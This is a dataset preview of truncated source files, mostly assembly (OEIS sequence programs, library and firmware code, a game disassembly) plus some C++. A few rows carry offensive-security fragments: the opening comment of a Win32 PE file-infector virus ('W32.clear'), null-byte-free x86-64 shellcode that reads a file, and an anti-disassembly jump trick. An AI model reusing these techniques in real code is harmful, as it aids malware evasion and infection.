text stringlengths 1 1.05M |
|---|
#ifndef __TEST_TRIAL_H__
#define __TEST_TRIAL_H__
#include <gtest/gtest.h>
#include "trial.h"
namespace mm = MasterMind;
/**
*
* trialTest
*
*/
TEST ( trialTest, test )
{
mm::CodePtr codeA(new mm::Code{ 0, 0 });
mm::CodePtr codeB(new mm::Code{ 1, 0 });
mm::CodePtr codeC(new mm::Code{ 0, 1 });
mm::Co... |
/* Copyright 2017 Konstantin Batoev.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1cb16, %rsi
lea addresses_A_ht+0xd696, %rdi
nop
nop
nop
nop
nop
xor $11446, %rdx
mov $77, %rcx
rep movsl
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x7b3c, %rsi
lea addresses_A_... |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2008, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distributi... |
; A144329: Triangle read by rows, A000012 * A144328
; Submitted by Christian Krause
; 1,2,1,3,2,2,4,3,4,3,5,4,6,6,4,6,5,8,9,8,5,7,6,10,12,12,10,6,8,7,12,15,16,15,12,7,9,8,14,18,20,20,18,14,8,10,9,16,21,24,25,24,21,16,9,11,10,18,24,28,30,30,28,24,18,10
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
trn $0,1
add $0,1
mul $... |
/********************* */
/*! \file justification_heuristic.cpp
** \verbatim
** Original author: Kshitij Bansal
** Major contributors: none
** Minor contributors (to current version): Morgan Deters
** This file is part of the CVC4 project.
** Copyright (c) 20... |
#include "../CPU.asm"
#bank rom
; test move from direct address to direct address
store #0x12, location1
move location1, location2
load a, location2
assert a, #0x12
; test move from indirect address to direct address
store #0x23, location1
storew #location1, pointer1
move (pointer1), location2
load a, location2
ass... |
#include<iostream>
#include<sstream>
#include "CondCore/Utilities/interface/PayloadInspector.h"
#include "../plugins/BasicP_PayloadInspector.cc"
#include "FWCore/PluginManager/interface/PluginManager.h"
#include "FWCore/PluginManager/interface/standard.h"
#include "FWCore/PluginManager/interface/SharedLibrary.h"
#incl... |
/*
* Copyright 2004-2015 Cray Inc.
* Other additional copyright holders may be indicated within.
*
* The entirety of this work is licensed under the Apache License,
* Version 2.0 (the "License"); you may not use this file except
* in compliance with the License.
*
* You may obtain a copy of the License at
*
*... |
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing proje... |
; A094793: a(n) = (1/n!)*A001688(n).
; 9,53,181,465,1001,1909,3333,5441,8425,12501,17909,24913,33801,44885,58501,75009,94793,118261,145845,178001,215209,257973,306821,362305,425001,495509,574453,662481,760265,868501,987909,1119233,1263241
sub $2,$0
add $0,2
mul $2,$0
bin $0,2
pow $0,2
sub $0,$2
sub $0,1
mul $0,4
add $... |
; [ W32.clear by drcmda ]
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
; SIMPLE BUT CLEAR WIN32 PE INFECTOR, USES SIMPLE XOR ENCRYPTION,
; MUTEXES AND DIRECTORY TRAVERSEL (ON EVERY FIXED DRIVE)... I FOR
; MYSELF DON'T LIKE VIRII BUT SINCE I DISCOVERED THE PE-HEADER I
; JUST WAN... |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. Th... |
#include "FileUtils.h"
#include "DirIterator.h"
#include "Log.h"
#include "Platform.h"
#include "StringUtils.h"
#include <algorithm>
#include <assert.h>
#include <string.h>
#include <fstream>
#include <iostream>
#include "minizip/zip.h"
#include "minizip/unzip.h"
#ifdef PLATFORM_UNIX
#include <unistd.h>
#include <s... |
; Prevent Kokiri Sword from being added to inventory on game load
; Replaces:
; sh t9, 0x009C (v0)
.org 0xBAED6C ; In memory: 0x803B2B6C
nop
;==================================================================================================
; Time Travel
;====================================================... |
// Copyright (c) 2014-2017 The Dash Core developers
// Copyright (c) 2017-2018 The Rubcoin Core developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "activemasternode.h"
#include "checkpoints.h"
#include "gove... |
global load_GDT
extern GDTDescriptor
load_GDT:
mov rax, rdi ; First Argument, Pointer To GDT
mov bx, si ; Second Argument, Code Segment
mov cx, dx ; Third Argument, Data Segment
mov word [jumpseg], bx ; Change the code segment that we are jumping to the
... |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2021-2022, Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of s... |
; A024031: a(n) = 3^n - n^8.
; 1,2,-247,-6534,-65455,-390382,-1678887,-5762614,-16770655,-43027038,-99940951,-214181734,-429450255,-814136398,-1471006087,-2548541718,-4251920575,-6846617278,-10632540087,-15821301574,-22113215599,-27362506158,-23494813927,15832193546,172354222305,694700718818,2333038763753,7343167948506... |
; A123348: Kekulé numbers for certain benzenoids (see the Cyvin-Gutman book for details).
; Submitted by Jamie Morken(s4)
; 0,3,12,54,240,1068,4752,21144,94080,418608,1862592,8287584,36875520,164077248,730060032,3248394624,14453698560,64311583488,286153731072,1273238091264,5665259827200,25207515491328,112160581619712,4... |
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/supervised_user_error_page/supervised_user_error_page.h"
#include "base/macros.h"
#include "base/strings/string_number_conversions.h... |
; A003849: The infinite Fibonacci word (start with 0, apply 0->01, 1->0, take limit).
; 0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,0,... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x9a8c, %rdx
dec %r11
mov (%rdx), %esi
nop
nop
nop
nop
add $12461, %rcx
lea addresses_D_ht+0x4e68, %rcx
clflush (%rcx)
add %r11, %r11
mov $0x6162636465666768, %r10
movq %r10, %... |
; A243201: Odd octagonal numbers indexed by triangular numbers.
; 1,21,133,481,1281,2821,5461,9633,15841,24661,36741,52801,73633,100101,133141,173761,223041,282133,352261,434721,530881,642181,770133,916321,1082401,1270101,1481221,1717633,1981281,2274181,2598421,2956161,3349633,3781141,4253061,4767841,5328001
mov $1,$0... |
/*
* Copyright 2019 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to ... |
//#Name: Anonta Haque #Problm: UVA 11455 - Behold my quadrangle
#include <algorithm>
#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <cstdarg>
#include <utility>
#include <cctype>
#include <cstdio>
#include <vector>
#include <string>
#include <cmath>
#include <c... |
;;; AUTO GENERATED FILE
;;; generated by: gen_i8048 -u -C 8048 -o gen_i8048.asm -l gen_i8048.lst
CPU 8048
ORG 100H
NOP
OUTL BUS, A
ADD A, #4
JMP 005H
EN I
DEC A
INS A, BUS
IN A, P1
MOVD A, P4
INC @R0
JB 0, 113H
... |
/*
* ROOTUtilities.hh
*
* Created on: Aug 29, 2015
* Author: yuasa
*/
#ifndef INCLUDES_CXXUTILITIES_ROOTUTILITIES_HH_
#define INCLUDES_CXXUTILITIES_ROOTUTILITIES_HH_
#include "CommonHeader.hh"
#include "TObjString.h"
#include "TString.h"
#include "TFile.h"
#include "TStyle.h"
#include "TAxis.h"
#include "T... |
#include "PauseState.h"
#include "Utility.h"
#include "ResourceHolder.h"
#include "MusicPlayer.h"
#include <SFML/Graphics/RectangleShape.hpp>
#include <SFML/Graphics/RenderWindow.hpp>
#include <SFML/Graphics/View.hpp>
PauseState::PauseState(StateStack& stack, Context context)
: State(stack, context)
, backgroundSp... |
dnl x86-64 mpn_addmul_1 and mpn_submul_1, optimized for "Core 2".
dnl Copyright 2003, 2004, 2005, 2007, 2008, 2009, 2011, 2012 Free Software
dnl Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of... |
#include "pch.h"
#include <vcpkg/base/chrono.h>
#include <vcpkg/base/system.h>
#include <vcpkg/commands.h>
#include <vcpkg/help.h>
#include <vcpkg/userconfig.h>
namespace vcpkg::Commands::Contact
{
const std::string& email()
{
static const std::string S_EMAIL = R"(vcpkg@microsoft.com)";
return... |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of s... |
; Super Mario Bros. 3 Full Disassembly by Southbird 2012
; For more info, see http://www.sonicepoch.com/sm3mix/
;
; PLEASE INCLUDE A CREDIT TO THE SOUTHBIRD DISASSEMBLY
; AND THE ABOVE LINK SOMEWHERE IN YOUR WORKS :)
;
; Original disassembler source generated by DCC6502 version v1.4
; (With labels, comments, and some s... |
.include "defaults_mod.asm"
table_file_jp equ "exe5-utf8.tbl"
table_file_en equ "bn5-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252424A // BRBJ
game_code_2 equ 0x42524245 // BRBE
game_code_3 equ 0x42524250 // BRBP
card_type equ 1
card_id equ 96
card_no equ "096"
card_sub equ "Mod Card 096"
card_sub_x ... |
begin:
MOV %r0, 1
MOV %r1, 1
MOV %r2, 2
MOV %r3, 3
MOV %r4, 4
MOV %r5, 5
MOV %r6, 6
MOV %r7, 7
MOV %r8, 8
MOV %r9, 9
MOV %r10, 10
MOV %r11, 11
MOV %r12, 12
MOV %r13, 13
MOV %r14, 14
... |
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "script/standard.h"
#include "pubkey.h"
#include "script/script.h"
#inc... |
Map_2264E0: dc.w Frame_2264E4-Map_2264E0 ; ...
dc.w Frame_2264EC-Map_2264E0
Frame_2264E4: dc.w 1
dc.b $F8, 5, 0,$37,$FF,$F8
Frame_2264EC: dc.w 2
dc.b $F0, 7, 0,$2F,$FF,$F0
dc.b $F0, 7, 8,$2F, 0, 0
|
_start:
xor al, al
jz fake+1 ; true-branch always taken
fake:
db 0xE9 ; jmp instruction opcode
mov rdi, hello
call printf
mov rdi, 0
call exit
ret
hello:
db "hello world",10,0
|
#ifndef BENCH_PROXIMITY_FEATURE_HPP
#define BENCH_PROXIMITY_FEATURE_HPP
#include <algorithm>
#include <iostream>
#include <map>
#include <sstream>
#include <string>
#include <vector>
#include <utility>
#include "fat.hpp"
#include "query_environment_adapter.hpp"
#include "indri_bridge.hpp"
#include "query_train_file.h... |
; A202654: Number of ways to place 3 nonattacking semi-queens on an n X n board.
; 0,0,3,52,370,1620,5285,14168,33012,69240,133815,242220,415558,681772,1076985,1646960,2448680,3552048,5041707,7018980,9603930,12937540,17184013,22533192,29203100,37442600,47534175,59796828,74589102,92312220,113413345,138388960,167788368,2... |
#include "Object.h"
#include "Sprite_ZAxis.h"
#include "../render/IDriver3D.h"
#include "../render/RenderQue.h"
#include "../render/Camera.h"
#include <cstring>
#define _FRAME_DELAY 4
Sprite_ZAxis::Sprite_ZAxis() : RenderComponent()
{
m_hTex = XL_INVALID_TEXTURE;
m_aFlip[0] = 0;
m_aFlip[1] = 0;
m_aFli... |
; A171089: a(n) = 2*(Lucas(n)^2 - (-1)^n)).
; Submitted by Jamie Morken(s3)
; 6,4,16,34,96,244,646,1684,4416,11554,30256,79204,207366,542884,1421296,3720994,9741696,25504084,66770566,174807604,457652256,1198149154,3136795216,8212236484,21499914246,56287506244,147362604496,385800307234,1010038317216,2644314644404,692290... |
; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
; See the LICENSE file in the project root for more information.
#include "ksarm64.h"
#include "asmconstants.h"
#include "asmmacros.h"
IMPORT FuncEvalHijackWorker
IMPORT FuncE... |
=== Seminary 6. 8086 Interrupts. ===
Interrupt - is an electrical signal sent through the control bus of
the cumputing system which signalises the occurence of an event
Interrupts can be generated by :
- hardware components: keyboard(when the user presses a key), network card, etc
- the cpu through software instruct... |
%ifdef CONFIG
{
"RegData": {
"XMM0": ["0x2424242424242424", "0x2424242424242424"],
"XMM1": ["0x2424242424242424", "0x2424242424242424"],
"XMM2": ["0x1818181818181818", "0x1818181818181818"]
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x3C3C3C3C3C3C3C3C
m... |
.model small
.stack 100H
.data
screen_start EQU 0B800H ; start of the screen segment
screen_line_lenght EQU 0A0H ; value of a line from the screen segment
minesWeeper db 'C A M P O M I N A D O'
authors db 'GUILHERME BARRAGAM e LUCAS ALESSIO'
configuration db 'C O N F I G U R A... |
;***********************************************************
; Version 2.40.00
;***********************************************************
; Function: bexp
; Version: 2.0
; Processor: C55xx
; Description: block exponent
; Useage: short r_maxexp = bexp (DATA *x... |
#include <bits/stdc++.h>
#define rep(i, n) for (int i = 0; i < (n); ++i)
using namespace std;
using ll = long long;
using P = pair<int, int>;
using Graph = vector<vector<int>>;
/*
参考リンク
ABC 105 C - Base -2 Number
https://atcoder.jp/contests/abc105/tasks/abc105_c
*/
string to_mbin(ll n) {
if (n == 0) r... |
; A057022: a(n) = floor((sum of divisors of n) / (number of divisors of n)), or floor(sigma_1(n)/sigma_0(n)).
; Submitted by Christian Krause
; 1,1,2,2,3,3,4,3,4,4,6,4,7,6,6,6,9,6,10,7,8,9,12,7,10,10,10,9,15,9,16,10,12,13,12,10,19,15,14,11,21,12,22,14,13,18,24,12,19,15,18,16,27,15,18,15,20,22,30,14,31,24,17,18,21,18,34... |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. Th... |
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC zx_01_output_fzx_tty_z88dk_stdio_msg_ictl
EXTERN asm_vioctl_driver, asm_tty_reset, l_offset_ix_de
EXTERN zx_01_output_fzx_stdio_msg_ictl
zx_01_output_fzx_tty_z88dk_stdio_msg_ictl:
; enter : de = request
; bc = first parameter
; ... |
; A285120: Min(|d(k+1-i) - d(i)|, for i = 1..k, where d(1),..,d(k) are the divisors of n(n+1)/2.
; 0,2,1,3,2,4,3,0,4,6,5,7,6,8,2,9,8,10,9,1,10,12,11,5,12,14,3,15,14,16,15,2,16,18,9,19,18,20,4,21,20,22,21,3,22,24,23,14,0,26,5,27,26,12,9,4,28,30,29,31,30,32,6,12,16,34,33,5,34,36,35,37,36,38,7,39,38,40,39,6,40,42,41,19,42... |
// clear a bit at given pos.
// sample output:
// 2
#include <iostream>
using namespace std;
int clearBit(int n, int pos)
{
return (n & (~(1 << pos)));
}
int main()
{
cout << clearBit(3, 0);
return 0;
} |
;
; Copyright (C) 2021 by Intel Corporation
;
; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHA... |
; A001779: Expansion of 1/((1+x)(1-x)^8).
; 1,7,29,91,239,553,1163,2269,4166,7274,12174,19650,30738,46782,69498,101046,144111,201993,278707,379093,508937,675103,885677,1150123,1479452,1886404,2385644,2993972,3730548,4617132,5678340,6941916,8439021,10204539,12277401,14700927,17523187,20797381,24582239,28942441,33949058,... |
; A173474: Numbers n such that n*2^n + 1 is not prime.
; 0,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91... |
/*
* Copyright (C) 2010 DiamondCore <http://diamondcore.eu/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
... |
;;
;; Copyright (c) 2019-2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and... |
;************************************************************
;* FileName : mutiboot *
;* Author : VenmoSnake *
;* ProjectName : boot *
;* Time : 2020/4/25 : 12:24 *
;*********... |
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="fd, fd2, flags"/>
<%docstring>
Invokes the syscall dup3. See 'man 2 dup3' for more information.
Arguments:
fd(int): fd
fd2(int): fd2
flags(int): flags
</%docstring>
${syscall('SYS_dup3', fd, fd2, flags)}
|
/*
* \file GraphicsSky.cpp
*
* Created on: \date 25 sept. 2014
* Author: \author joda
* \brief :
*/
#include "GraphicsSky.h"
namespace Engine {
GraphicsSky::GraphicsSky() {
mSkyXController = 0;
mSkyX = 0;
m_pRenderWnd = 0;
m_pCamera = 0;
m_pSceneMgr = 0;
m_pRoot = 0;
}
GraphicsSky::~GraphicsSky... |
#include <ATen/Config.h>
#if AT_MKLDNN_ENABLED()
// needs to be included only once in library.
#include <ideep_pin_singletons.hpp>
#endif // AT_MKLDNN_ENALBED()
|
.l_54c8
STA &87
.l_54ca
JSR vdu_80
JSR l_360a
STA &0343
STA &034A
STA &034B
LDX #&60
.l_54dc
JSR l_42a1
INX
CPX #&78
BNE l_54dc
LDX &2F
BEQ l_54eb
JSR l_30ac
.l_54eb
LDY #&01
STY cursor_y
LDA &87
BNE l_5507
LDY #&0B
STY cursor_x
LDA view_dirn
ORA #&60
JSR l_339a
JSR l_3142
LDA #&AF
JSR... |
# mp_limb_t mulredc10(mp_limb_t * z, const mp_limb_t * x, const mp_limb_t * y,
# const mp_limb_t *m, mp_limb_t inv_m);
#
# Stack:
# inv_m ## parameters
# m
# y
# x
# z (4*(2k+7))%esp
# ??? (1 limb???)
# ebp ## pushed registers (4*(2k+5))%esp
# ed... |
BITS 64
GLOBAL _start
_start:
jmp short .data
; null-byte free shellcode that
; replicates cat command in linux
.open:
pop rdi
xor esi, esi
xor eax, eax
mov al, 0x2 ; open syscall
syscall
xchg ebx, eax ; store fd to ebx
.readchar:
;read one char at a time
mov edi... |
;--------------------------------------------------------------------------
; crtclear.asm - C run-time: clear DATA/IDATA
;
; Copyright (C) 2004, Erik Petrich
;
; This library is free software; you can redistribute it and/or modify it
; under the terms of the GNU General Public License as published by the
; Free S... |
; A000803: a(n+3) = a(n+2) + a(n+1) + a(n) - 4.
; Submitted by Jamie Morken(s4)
; 0,0,8,4,8,16,24,44,80,144,264,484,888,1632,3000,5516,10144,18656,34312,63108,116072,213488,392664,722220,1328368,2443248,4493832,8265444,15202520,27961792,51429752,94594060,173985600,320009408,588589064,1082584068,1991182536,3662355664,67... |
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" fil... |
/*
***********************************************************************************************************************
*
* Copyright (c) 2014-2020 Advanced Micro Devices, Inc. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associ... |
;Testname=warning; Arguments=-fbin -omacdef.bin -w+macro-defaults; Files=stdout stderr macdef.bin
;Testname=nonwarning; Arguments=-fbin -omacdef.bin -w-macro-defaults; Files=stdout stderr macdef.bin
%MACRO mmac_fix 1 a
; While defined to take one parameter, any invocation will
; see two, due to the default parame... |
/*
* Copyright (c) Glow Contributors. See CONTRIBUTORS file.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by ap... |
_Route2HouseText1::
text "A fainted #MON"
line "can't fight. But, "
cont "it can still use "
cont "moves like CUT!"
done
|
; A218736: a(n) = (33^n-1)/32.
; 0,1,34,1123,37060,1222981,40358374,1331826343,43950269320,1450358887561,47861843289514,1579440828553963,52121547342280780,1720011062295265741,56760365055743769454,1873092046839544391983,61812037545704964935440,2039797239008263842869521,67313308887272706814694194,222133919327999932488490... |
aLine 0
gNew basePtr
gMoveNext basePtr, Root
gNewVPtr minNext
gNewVPtr rootNext
gMoveNext rootNext, Root
aLine 1
gNew basePrev
gMove basePrev, Root
gNew minPtr, 1085, 800
gNew minPrev, 1085, 860
gNew currentPtr, 1085, 920
gNew currentPrev, 1085, 980
aLine 2
gBeq basePtr, null, 45
aLine 4
gMove minPtr, basePtr
aLine... |
/*
* Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contribut... |
; A137495: A098601(2n)+A098601(2n+1)
; 2,3,4,7,13,23,40,70,123,216,379,665,1167,2048,3594,6307,11068,19423,34085,59815,104968,184206,323259,567280,995507,1746993,3065759,5380032,9441298,16568323,29075380,51023735,89540413,157132471,275748264,483904470,849193147,1490230088
mov $1,$0
lpb $0,1
add $2,$1
add $3,$2
s... |
; _____ _ _ _____ _ _
; | __ \ | | | | __ \(_) | |
; | | | | ___| | |_ __ _ | | | |_ ___| |_
; | | | |/ _ \ | __/ _` | | | | | / __| __|
; | |__| | __/ | || (_| | | |__| | \__ \ |_
; |_____/ \___|_|\__\__,_| |_____/|_|___/\__|
;
; Author: Tim Halloran
; From the tutorial... |
;
; read from disk
;
SECTION code_clib
PUBLIC read
PUBLIC _read
.read
._read
pop af
pop de
pop hl
pop bc
push bc
push hl
push de
push af
ld a, b
or c
call nz, 0xB896
ld h, b
ld l, c
ret
|
;******************************************************************************
;* TI ARM C/C++ Codegen Unix v18.1.1.LTS *
;* Date/Time created: Fri Jul 3 20:08:22 2020 *
;******************************************************************************
... |
; A078061: Expansion of (1-x)/(1+2*x+x^3).
; Submitted by Christian Krause
; 1,-3,6,-13,29,-64,141,-311,686,-1513,3337,-7360,16233,-35803,78966,-174165,384133,-847232,1868629,-4121391,9090014,-20048657,44218705,-97527424,215103505,-474425715,1046378854,-2307861213,5090148141,-11226675136,24761211485,-54612571111,120451... |
.thumb
.macro blh to, reg=r3
ldr \reg, =\to
mov lr, \reg
.short 0xf800
.endm
.equ proc_truehit, 0x802A558
.equ d100Result, 0x802a52c
@ r0 is attacker, r1 is defender, r2 is current buffer, r3 is battle data
push {r4-r7,lr}
mov r4, r0 @attacker
mov r5, r1 @defender
mov r6, r2 @battle buffer
mov r7, r3 @battle data... |
; Copyright 2013-2015 by 2013-2015 by Explorer OS Developers. All rights reserved.
; made by Lab Explorer Developers<1@GhostBirdOS.org>
; Explorer x86 syscalls support
; Explorer/arch/x86/syscalls.asm
; 2/8/2015 10:23 PM
; Explorer临时系统调用规划
; EAX = 功能号
global do_syscalls ; 系统调用处理函数
extern printk ; 标准输入输出函数
ext... |
; A038605: a(n) = floor( prime(n)/n ).
; 2,1,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
mov $2,$0
seq $0,40 ; The prime numbers.
add $2,1
div $0,$2
|
// Ouzel by Elviss Strazdins
#ifndef OUZEL_GRAPHICS_OGLRENDERDEVICEWIN_HPP
#define OUZEL_GRAPHICS_OGLRENDERDEVICEWIN_HPP
#include "../../../core/Setup.h"
#if defined(_WIN32) && OUZEL_COMPILE_OPENGL
#include <atomic>
#include <thread>
#pragma push_macro("WIN32_LEAN_AND_MEAN")
#pragma push_macro("NOMINMAX")
#ifndef W... |
; A272707: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 515", based on the 5-celled von Neumann neighborhood.
; 1,6,19,44,93,162,271,408,601,830,1131,1476,1909,2394,2983,3632,4401,5238,6211,7260,8461,9746,11199,12744,14473,16302,183... |
CPU_ACCESS_BANK = $1
;--------------------------------------------------------------------
; Zero page variables
;--------------------------------------------------------------------
src_addr = $50
page_count = $52
tmp_byte = $53
CursorType = $D4
jmp_vector = $03FC
;-----------------------------------------------... |
; A231666: a(n) = Sum_{i=0..n} digsum_4(i)^3, where digsum_4(i) = A053737(i).
; 0,1,9,36,37,45,72,136,144,171,235,360,387,451,576,792,793,801,828,892,900,927,991,1116,1143,1207,1332,1548,1612,1737,1953,2296,2304,2331,2395,2520,2547,2611,2736,2952,3016,3141,3357,3700,3825,4041,4384,4896,4923,4987,5112,5328,5392,5517,573... |
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.0.2 #11722 (Linux)
;--------------------------------------------------------
; Processed by Z88DK
;--------------------------------------------------------
EXTERN __divschar
EXTERN __divsc... |
#define CATCH_CONFIG_MAIN // This tells Catch to provide a main() - only do this in one cpp file
#include "catch.hpp"
#include "vars.h"
#include "input.h"
#include "numbers.h"
#include "auto.h"
#include "chars.h"
#include<string>
TEST_CASE("Verify Test Configuration", "verification") {
REQUIRE(true == true);
}
/*te... |
; LzmaDecOpt.asm -- ASM version of LzmaDec_DecodeReal_3() function
; 2018-02-06: Igor Pavlov : Public domain
;
; 3 - is the code compatibility version of LzmaDec_DecodeReal_*()
; function for check at link time.
; That code is tightly coupled with LzmaDec_TryDummy()
; and with another functions in LzmaDec.c file.
; CLz... |
#include "tarch/plotter/ByteSwap.h"
#include "tarch/plotter/griddata/unstructured/vtk/VTUBinaryFileWriter.h"
#include <limits>
#include <iomanip>
tarch::plotter::griddata::unstructured::vtk::VTUBinaryFileWriter::CellDataWriter::CellDataWriter(
const std::string& dataIdentifier, VTUBinaryFileWriter& writer, int reco... |
; Arquivo: Mod.nasm
; Curso: Elementos de Sistemas
; Criado por: Luciano Soares
; Data: 27/03/2017
; Divide o número posicionado na RAM[1] pelo número posicionado no RAM[2] e armazena o resultado na RAM[0].
; Arquivo: Mod.nasm
; Curso: Elementos de Sistemas
; Criado por: Luciano Soares
; Data: 27/03/2017
; Divide o ... |
/////////////////////////////////////////////////////////////////////////////
//
// Detours Test Program (x86.asm of disas.exe)
//
// Microsoft Research Detours Package
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
static int value = 0;
extern "C" void TestCodes()
{
value++;
}
|
; A136362: Numbers n such that P+n is not irreducible, where P = x^8 - 8*x^6 + 20*x^4 - 16*x^2 + 2.
; 1,2,34,254,898,2302,4898,9214,15874,25598,39202,57598,81794,112894,152098,200702,260098,331774,417314,518398,636802,774398,933154,1115134,1322498
pow $0,2
sub $0,1
pow $0,2
mov $1,$0
mul $0,2
add $0,1
mov $2,$1
cmp $2... |
; Copyright © 2005 - 2021 by Brett Kuntz. All rights reserved.
IsHandleTheDAT proto :dword
CheckAndUnlockTheDAT proto :dword
CheckForSwap proto :dword
.data?
UniqueFileID dd 3 dup(?)
OldGlobalHandle dd ?
NewGlobalHandle dd ?
.code
; ##################################################... |
; Zeropage symbols for nesnet library. Pop this into your ZEROPAGE segment where you like.
; TODO: Names here are super generic. Prefix with HTTP?
; TODO: Can we eliminate any of these? Or at least move out of zp? This is kinda a lot to ask...
URL: .res 2
HTTP_DATA: .res 2
HTTP_DATA_LENGTH: .res 2
RESPONSE... |
; int obstack_grow(struct obstack *ob, void *data, size_t size)
SECTION code_clib
SECTION code_alloc_obstack
PUBLIC obstack_grow
EXTERN asm_obstack_grow
obstack_grow:
pop af
pop bc
pop de
pop hl
push hl
push de
push bc
push af
jp asm_obstack_grow
; SDCC bridge for Classic
IF __... |
; PIC16F628A Configuration Bit Settings
; ASM source line config statements
#include "p16F628A.inc"
; CONFIG
; __config 0x3F70
__CONFIG _FOSC_INTOSCIO & _WDTE_OFF & _PWRTE_ON & _MCLRE_ON & _BOREN_ON & _LVP_OFF & _CPD_OFF & _CP_OFF
#define NUMBER_0 b'01110111'
#define NUMBER_1 b'00010100'
#define NUMBER_2 b'1011001... |
;
; Copyright (C) 2021 by Intel Corporation
;
